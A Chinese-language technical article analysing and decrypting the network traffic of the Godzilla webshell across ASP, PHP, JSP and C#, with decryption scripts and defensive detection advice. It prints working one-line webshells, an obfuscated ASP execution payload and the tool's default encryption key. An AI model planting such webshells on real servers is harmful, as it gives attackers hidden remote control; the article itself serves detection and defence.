【Web实战】哥斯拉全语言流量分析
字数 1085 2025-08-10 08:28:49
哥斯拉全语言流量分析与解密技术详解
一、哥斯拉工具概述
哥斯拉(Godzilla)是继菜刀、蚁剑、冰蝎之后的又一webshell利器,支持多种语言和加密方式,具有以下特点:
- 支持ASP、PHP、JSP、C#等多种语言的webshell
- 采用多种加密方式保护通信流量
- 具备绕过安全检测的能力
- 提供丰富的功能模块
GitHub地址:https://github.com/BeichenDream/Godzilla
二、ASP流量分析与解密
1. 典型ASP webshell
<%eval request("pass")%>
2. 通信流程
- 首次请求:上传命令执行代码
- 后续请求:在key字段中携带指令执行函数
3. 解密方法
请求体处理:
- URL解码
- db函数字段:16进制转10进制
- key字段:Base64解码
响应体处理:
- 去除前后混淆字符(828130和20ebbc)
- Base64解码
4. 示例分析
测试连接请求:
pass=eval("Ex"&cHr(101)&"cute(""Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Ex"&cHr(101)&"cute(""""On Error Resume Next:""""&bd(""""0d0a536574206279......340d0a0d0a"""")):Response.End"")")
系统信息请求:
methodName getBasicsInfo
三、PHP流量分析与解密
1. 典型PHP webshell
<?php
eval($_POST["pass"]);
2. 解密流程
- URL解码
- 字符串反转
- Base64解码
3. XOR解密脚本
import base64
def XOR(D, K):
result = []
for i in range(len(D)):
c = K[i + 1 & 15]
if not isinstance(D[i], int):
d = ord(D[i])
else:
d = D[i]
result.append(d ^ ord(c))
return b''.join([i.to_bytes(1, byteorder='big') for i in result])
text = "R0YEQgN......EaQgBDWTVrRG47"
key = "3c6e0b8a9c15224a"
request = XOR(base64.b64decode(text), key)
print(request)
4. 示例分析
核心解密代码:
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
响应处理:
- 去除前后16位MD5校验值
- Base64解码
- XOR解密
四、JSP流量分析与解密
1. 典型JSP webshell
<%! String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
// ... 省略加密解密方法 ...
%>
<%
// ... 处理请求逻辑 ...
%>
2. 解密流程
- URL解码
- Base64解码
- AES解密(密钥为"3c6e0b8a9c15224a")
3. 示例分析
测试请求:
methodName test
响应处理:
- 去除前后16位混淆字节
- Base64解码
- AES解密
五、C#流量分析与解密
1. 典型C# webshell
<%@ Page Language="C#" %>
<%
try
{
string key = "3c6e0b8a9c15224a";
// ... 处理请求逻辑 ...
}
catch (System.Exception){ }
%>
2. 解密流程
- URL解码
- Base64解码
- AES解密(Rijndael算法)
3. C#解密脚本
string key = "3c6e0b8a9c15224a";
byte[] data = System.Convert.FromBase64String(Context.Request[pass]);
data = new System.Security.Cryptography.RijndaelManaged()
.CreateDecryptor(System.Text.Encoding.Default.GetBytes(key),
System.Text.Encoding.Default.GetBytes(key))
.TransformFinalBlock(data, 0, data.Length);
4. 示例分析
测试请求:
methodName test
响应处理:
- 去除前后16位MD5校验值
- Base64解码
- AES解密
六、防御建议
-
流量检测:
- 检测固定特征字符串(如828130/20ebbc)
- 识别异常Base64编码数据
- 监控eval、Execute等高危函数调用
-
主机防护:
- 限制脚本执行权限
- 监控可疑文件创建
- 定期检查服务器文件完整性
-
网络防护:
- 部署WAF拦截恶意请求
- 限制不必要的HTTP方法
- 监控异常会话行为
-
应急响应:
- 保留完整流量日志
- 分析攻击者活动轨迹
- 彻底清除后门文件
七、总结
哥斯拉webshell具有以下技术特点:
- 多语言支持,适应不同环境
- 采用多层加密保护通信
- 使用混淆技术绕过检测
- 模块化设计,功能可扩展
通过深入分析其通信协议和加密方式,可以有效检测和防御此类攻击。